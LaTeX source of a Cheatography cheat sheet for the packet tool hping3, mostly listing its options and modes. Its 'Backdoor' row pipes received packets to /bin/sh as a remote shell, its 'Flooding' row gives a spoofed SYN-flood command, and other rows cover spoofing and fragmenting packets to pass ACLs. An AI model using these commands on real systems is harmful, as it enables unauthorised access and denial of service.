\documentclass[10pt,a4paper]{article} % Packages \usepackage{fancyhdr} % For header and footer \usepackage{multicol} % Allows multicols in tables \usepackage{tabularx} % Intelligent column widths \usepackage{tabulary} % Used in header and footer \usepackage{hhline} % Border under tables \usepackage{graphicx} % For images \usepackage{xcolor} % For hex colours %\usepackage[utf8x]{inputenc} % For unicode character support \usepackage[T1]{fontenc} % Without this we get weird character replacements \usepackage{colortbl} % For coloured tables \usepackage{setspace} % For line height \usepackage{lastpage} % Needed for total page number \usepackage{seqsplit} % Splits long words. %\usepackage{opensans} % Can't make this work so far. Shame. Would be lovely. \usepackage[normalem]{ulem} % For underlining links % Most of the following are not required for the majority % of cheat sheets but are needed for some symbol support. \usepackage{amsmath} % Symbols \usepackage{MnSymbol} % Symbols \usepackage{wasysym} % Symbols %\usepackage[english,german,french,spanish,italian]{babel} % Languages % Document Info \author{myke670} \pdfinfo{ /Title (hping3.pdf) /Creator (Cheatography) /Author (myke670) /Subject (Hping3 Cheat Sheet) } % Lengths and widths \addtolength{\textwidth}{6cm} \addtolength{\textheight}{-1cm} \addtolength{\hoffset}{-3cm} \addtolength{\voffset}{-2cm} \setlength{\tabcolsep}{0.2cm} % Space between columns \setlength{\headsep}{-12pt} % Reduce space between header and content \setlength{\headheight}{85pt} % If less, LaTeX automatically increases it \renewcommand{\footrulewidth}{0pt} % Remove footer line \renewcommand{\headrulewidth}{0pt} % Remove header line \renewcommand{\seqinsert}{\ifmmode\allowbreak\else\-\fi} % Hyphens in seqsplit % This two commands together give roughly % the right line height in the tables \renewcommand{\arraystretch}{1.3} \onehalfspacing % Commands \newcommand{\SetRowColor}[1]{\noalign{\gdef\RowColorName{#1}}\rowcolor{\RowColorName}} % Shortcut for row colour \newcommand{\mymulticolumn}[3]{\multicolumn{#1}{>{\columncolor{\RowColorName}}#2}{#3}} % For coloured multi-cols \newcolumntype{x}[1]{>{\raggedright}p{#1}} % New column types for ragged-right paragraph columns \newcommand{\tn}{\tabularnewline} % Required as custom column type in use % Font and Colours \definecolor{HeadBackground}{HTML}{333333} \definecolor{FootBackground}{HTML}{666666} \definecolor{TextColor}{HTML}{333333} \definecolor{DarkBackground}{HTML}{3529A3} \definecolor{LightBackground}{HTML}{F2F1F9} \renewcommand{\familydefault}{\sfdefault} \color{TextColor} % Header and Footer \pagestyle{fancy} \fancyhead{} % Set header to blank \fancyfoot{} % Set footer to blank \fancyhead[L]{ \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{C} \SetRowColor{DarkBackground} \vspace{-7pt} {\parbox{\dimexpr\textwidth-2\fboxsep\relax}{\noindent \hspace*{-6pt}\includegraphics[width=5.8cm]{/web/www.cheatography.com/public/images/cheatography_logo.pdf}} } \end{tabulary} \columnbreak \begin{tabulary}{11cm}{L} \vspace{-2pt}\large{\bf{\textcolor{DarkBackground}{\textrm{Hping3 Cheat Sheet}}}} \\ \normalsize{by \textcolor{DarkBackground}{myke670} via \textcolor{DarkBackground}{\uline{cheatography.com/149090/cs/32423/}}} \end{tabulary} \end{multicols}} \fancyfoot[L]{ \footnotesize \noindent \begin{multicols}{3} \begin{tabulary}{5.8cm}{LL} \SetRowColor{FootBackground} \mymulticolumn{2}{p{5.377cm}}{\bf\textcolor{white}{Cheatographer}} \\ \vspace{-2pt}myke670 \\ \uline{cheatography.com/myke670} \\ \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Cheat Sheet}} \\ \vspace{-2pt}Not Yet Published.\\ Updated 10th June, 2022.\\ Page {\thepage} of \pageref{LastPage}. \end{tabulary} \vfill \columnbreak \begin{tabulary}{5.8cm}{L} \SetRowColor{FootBackground} \mymulticolumn{1}{p{5.377cm}}{\bf\textcolor{white}{Sponsor}} \\ \SetRowColor{white} \vspace{-5pt} %\includegraphics[width=48px,height=48px]{dave.jpeg} Measure your website readability!\\ www.readability-score.com \end{tabulary} \end{multicols}} \begin{document} \raggedright \raggedcolumns % Set font size to small. Switch to any value % from this page to resize cheat sheet text: % www.emerson.emory.edu/services/latex/latex_169.html \footnotesize % Small font. \begin{multicols*}{3} \begin{tabularx}{5.377cm}{x{1.69218 cm} x{3.28482 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Usage:}} \tn % Row 0 \SetRowColor{LightBackground} hping3 -h -{}-help & show this help \tn % Row Count 2 (+ 2) % Row 1 \SetRowColor{white} hping3 -v -{}-version & show version \tn % Row Count 4 (+ 2) % Row 2 \SetRowColor{LightBackground} hping3 -c -{}-count & packet count \tn % Row Count 6 (+ 2) % Row 3 \SetRowColor{white} hping3 -i -{}-interval & wait (uX for X microseconds, for example -i u1000) \tn % Row Count 8 (+ 2) % Row 4 \SetRowColor{LightBackground} hping3 -{}-fast & alias for -i u1000 (10 packets for second) \tn % Row Count 10 (+ 2) % Row 5 \SetRowColor{white} hping3 -{}-faster & alias for -i u1000 (100 packets for second) \tn % Row Count 12 (+ 2) % Row 6 \SetRowColor{LightBackground} hping3 -{}-flood & sent packets as fast as possible. Dont show replies. \tn % Row Count 14 (+ 2) % Row 7 \SetRowColor{white} hping3 -n -{}-numeric & numeric output \tn % Row Count 16 (+ 2) % Row 8 \SetRowColor{LightBackground} hping3 -q -{}-quiet & quiet \tn % Row Count 18 (+ 2) % Row 9 \SetRowColor{white} hping3 -I -{}-interface & interface name (otherwise default routing interface) \tn % Row Count 20 (+ 2) % Row 10 \SetRowColor{LightBackground} hping3 -V -{}-verbose & verbose mode \tn % Row Count 22 (+ 2) % Row 11 \SetRowColor{white} hping 3 -D -{}-debug & debugging info \tn % Row Count 24 (+ 2) % Row 12 \SetRowColor{LightBackground} hping3 -z -{}-bind & bind ctrl+z to ttl (default to dst port) \tn % Row Count 26 (+ 2) % Row 13 \SetRowColor{white} hping3 -Z -{}-unbind & unbind ctrl+z \tn % Row Count 28 (+ 2) % Row 14 \SetRowColor{LightBackground} hping3 -{}-beep & beep for every matching packet received \tn % Row Count 30 (+ 2) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{1.64241 cm} x{3.33459 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{For ICMP use:}} \tn % Row 0 \SetRowColor{LightBackground} hping3 -C -{}-icmptype & icmp type (default echo request) \tn % Row Count 2 (+ 2) % Row 1 \SetRowColor{white} hping3 -K -{}-icmpcode & icmp code (default 0) \tn % Row Count 4 (+ 2) % Row 2 \SetRowColor{LightBackground} hping3 -{}-force-icmp & send all icmp types (default send only supported types) \tn % Row Count 7 (+ 3) % Row 3 \SetRowColor{white} hping3 -{}-icmp-gw & set gateway address from ICP redirect (default 0.0.0.0) \tn % Row Count 10 (+ 3) % Row 4 \SetRowColor{LightBackground} hping3 -{}-icmp-ts & Alias for -{}-icmp -{}-icmptype 13 (ICMP timestamp) \tn % Row Count 12 (+ 2) % Row 5 \SetRowColor{white} hping3 -{}-icmp-addr & Alias for -{}-icmp -{}-icmptype 17 (ICMP address subnet mask) \tn % Row Count 15 (+ 3) % Row 6 \SetRowColor{LightBackground} hping3 -{}-icmp-help & display help for others icmp options \tn % Row Count 17 (+ 2) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{0.9954 cm} x{3.9816 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{ARS packet description (new, unstable)}} \tn % Row 0 \SetRowColor{LightBackground} -{}-apd-send & Send the packet described with APD (see docs/APD.txt) \tn % Row Count 2 (+ 2) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{2.33919 cm} x{2.63781 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Fuzzing:}} \tn % Row 0 \SetRowColor{LightBackground} hping3 -2 {[}4.2.2.1{]} -P ++44444 -T -n & basis UPD traceroute fuzzing, if stuck press CTRL+Z to skip unresponsive hop. \tn % Row Count 4 (+ 4) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{1.54287 cm} x{3.43413 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Mode use: Default Mode TCP}} \tn % Row 0 \SetRowColor{LightBackground} hping3 -0 -{}-rawip & RAW IP mode \tn % Row Count 2 (+ 2) % Row 1 \SetRowColor{white} hping3 -1 -{}-icmp & ICMP mode \tn % Row Count 4 (+ 2) % Row 2 \SetRowColor{LightBackground} hping3 -2 -{}-udp & UDP mode \tn % Row Count 6 (+ 2) % Row 3 \SetRowColor{white} hping3 -8 -{}-scan & SCAN mode (Example: hping -{}-scan 1-30,70-90 -S www.target.host \tn % Row Count 9 (+ 3) % Row 4 \SetRowColor{LightBackground} hping3 -9 -{}-listen & listen mode \tn % Row Count 11 (+ 2) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{1.34379 cm} x{3.63321 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{UDP/TCP parameters:}} \tn % Row 0 \SetRowColor{LightBackground} -s -{}-basereport & base source port (default random) \tn % Row Count 2 (+ 2) % Row 1 \SetRowColor{white} -p -{}-destport & {[}+{]}{[}+{]}\textless{}port\textgreater{} destination port (default 0) ctrl+z inc/dec \tn % Row Count 4 (+ 2) % Row 2 \SetRowColor{LightBackground} -k -{}-keep & keep still source port \tn % Row Count 5 (+ 1) % Row 3 \SetRowColor{white} -w -{}-win & winsiz (deafult 64) \tn % Row Count 6 (+ 1) % Row 4 \SetRowColor{LightBackground} -O -{}-tcpoff & set fake tcp data offset (insted of tcphdrlen /4) \tn % Row Count 8 (+ 2) % Row 5 \SetRowColor{white} -Q -{}-seqnum & shows only tcp sequence number \tn % Row Count 10 (+ 2) % Row 6 \SetRowColor{LightBackground} -b -{}-badcksum & (try to) send packets with a bad IP checksum, many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead. \tn % Row Count 16 (+ 6) % Row 7 \SetRowColor{white} -M -{}-setseq & set TCP sequence number \tn % Row Count 18 (+ 2) % Row 8 \SetRowColor{LightBackground} -L -{}-setack & set TCP ack \tn % Row Count 20 (+ 2) % Row 9 \SetRowColor{white} -F -{}-fin & set FIN flag \tn % Row Count 21 (+ 1) % Row 10 \SetRowColor{LightBackground} -S -{}-syn & set SYN flag \tn % Row Count 22 (+ 1) % Row 11 \SetRowColor{white} -R -{}-rst & set RST flag \tn % Row Count 23 (+ 1) % Row 12 \SetRowColor{LightBackground} -P -{}-push & set PUSH flag \tn % Row Count 24 (+ 1) % Row 13 \SetRowColor{white} -A -{}-ack & set ACK flag \tn % Row Count 25 (+ 1) % Row 14 \SetRowColor{LightBackground} -U -{}-urg & set URG flag \tn % Row Count 26 (+ 1) % Row 15 \SetRowColor{white} -X -{}-xmas & set X unused flag (0x40) \tn % Row Count 27 (+ 1) % Row 16 \SetRowColor{LightBackground} -Y -{}-ymas & set Y unused flag (0x80) \tn % Row Count 28 (+ 1) % Row 17 \SetRowColor{white} -{}-tcpexitcode & use last tcp-\textgreater{}th\_flags as exit code \tn % Row Count 30 (+ 2) \end{tabularx} \par\addvspace{1.3em} \vfill \columnbreak \begin{tabularx}{5.377cm}{x{1.34379 cm} x{3.63321 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{UDP/TCP parameters: (cont)}} \tn % Row 18 \SetRowColor{LightBackground} -{}-tcp-mss & enable the TCP MSS option with the given value. \tn % Row Count 2 (+ 2) % Row 19 \SetRowColor{white} -{}-tcp-timestamp & enable the TCP timestamp option to guess the HZ/uptime. \tn % Row Count 4 (+ 2) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{1.74195 cm} x{3.23505 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Sniffer:}} \tn % Row 0 \SetRowColor{LightBackground} hping3 -9 HTTP -I eth0 & listening mode, intercept traffic going through our machine's network interface \tn % Row Count 4 (+ 4) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{2.23965 cm} x{2.73735 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Backdoor:}} \tn % Row 0 \SetRowColor{LightBackground} hpin3 -I eth1 -9 secret | /bin/sh & pipe receiving packets to /bin/sh in order to create a simple backdoor \tn % Row Count 4 (+ 4) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{1.24425 cm} x{3.73275 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{For IP use:}} \tn % Row 0 \SetRowColor{LightBackground} -a -{}-spoof & spoof source address \tn % Row Count 1 (+ 1) % Row 1 \SetRowColor{white} -{}-rand-dest & random destination address mode. \tn % Row Count 3 (+ 2) % Row 2 \SetRowColor{LightBackground} -{}-rand-source & random source address mode. \tn % Row Count 5 (+ 2) % Row 3 \SetRowColor{white} -t -{}-ttl & ttl (default64) \tn % Row Count 6 (+ 1) % Row 4 \SetRowColor{LightBackground} -N -{}-id & id (default random) \tn % Row Count 7 (+ 1) % Row 5 \SetRowColor{white} -W -{}-winid & use win* id byte ordering \tn % Row Count 8 (+ 1) % Row 6 \SetRowColor{LightBackground} -r -{}-rel & relativize id field (to estimate host traffic) \tn % Row Count 10 (+ 2) % Row 7 \SetRowColor{white} -f -{}-frag & split packets in more frag. (may pass weak acl) \tn % Row Count 12 (+ 2) % Row 8 \SetRowColor{LightBackground} -x -{}-morefrag & set more fragment flag \tn % Row Count 14 (+ 2) % Row 9 \SetRowColor{white} -y -{}-dontfrag & set don't fragment flag \tn % Row Count 16 (+ 2) % Row 10 \SetRowColor{LightBackground} -g -{}-fragoff & set the fragment offset \tn % Row Count 18 (+ 2) % Row 11 \SetRowColor{white} -m -{}-mtu & set virtual mtu, implies -{}-frag if packet size \textgreater{} mtu \tn % Row Count 20 (+ 2) % Row 12 \SetRowColor{LightBackground} -o -{}-tos & type of service (default 0x00), try -{}-tos help \tn % Row Count 22 (+ 2) % Row 13 \SetRowColor{white} -G -{}-rroute & includes RECORD\_ROUTE option and display the route buffer \tn % Row Count 24 (+ 2) % Row 14 \SetRowColor{LightBackground} -{}-lsrr & loose source routing and record route \tn % Row Count 26 (+ 2) % Row 15 \SetRowColor{white} -{}-ssrr & strict source routing and record route \tn % Row Count 28 (+ 2) % Row 16 \SetRowColor{LightBackground} -H -{}-ipproto & set the IP protocol field, only in RAW IP mode \tn % Row Count 30 (+ 2) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{1.34379 cm} x{3.63321 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Common:}} \tn % Row 0 \SetRowColor{LightBackground} -d -{}-data & data size \tn % Row Count 1 (+ 1) % Row 1 \SetRowColor{white} -E -{}-file & dta fromfile \tn % Row Count 2 (+ 1) % Row 2 \SetRowColor{LightBackground} -e -{}-sign & add 'signature' \tn % Row Count 3 (+ 1) % Row 3 \SetRowColor{white} -j -{}-dump & dump packets in hex \tn % Row Count 4 (+ 1) % Row 4 \SetRowColor{LightBackground} -J -{}-print & dump printable characters \tn % Row Count 5 (+ 1) % Row 5 \SetRowColor{white} -B -{}-safe & enable 'safe' protocol \tn % Row Count 6 (+ 1) % Row 6 \SetRowColor{LightBackground} -u -{}-end & tell you when -{}-file reached EOF and prevent rewind \tn % Row Count 8 (+ 2) % Row 7 \SetRowColor{white} -T -{}-traceroute & traceroute mode (implies -{}-bind and -{}-ttl 1) \tn % Row Count 10 (+ 2) % Row 8 \SetRowColor{LightBackground} -{}-tr-stop & Exit when receive the first not ICMP in traceroute mode \tn % Row Count 12 (+ 2) % Row 9 \SetRowColor{white} -{}-tr-keep-ttl & Keep the source TTL fixed, useful to monitor just one hop \tn % Row Count 14 (+ 2) % Row 10 \SetRowColor{LightBackground} -{}-tr-no-rtt & Don't calculate/show RTT information in traceroute mode \tn % Row Count 16 (+ 2) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{2.73735 cm} x{2.23965 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{File Transfer:}} \tn % Row 0 \SetRowColor{LightBackground} hping3 -1 {[}IP Addr{]} -9 signature -I eth0 & transfer complete receiving files \tn % Row Count 2 (+ 2) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} \begin{tabularx}{5.377cm}{x{3.13551 cm} x{1.84149 cm} } \SetRowColor{DarkBackground} \mymulticolumn{2}{x{5.377cm}}{\bf\textcolor{white}{Flooding:}} \tn % Row 0 \SetRowColor{LightBackground} hping3 -S {[}Target IP Addr{]} -a {[}IP Addr{]} -p 22 -{}-flood & classic attack flooding \tn % Row Count 3 (+ 3) \hhline{>{\arrayrulecolor{DarkBackground}}--} \end{tabularx} \par\addvspace{1.3em} % That's all folks \end{multicols*} \end{document}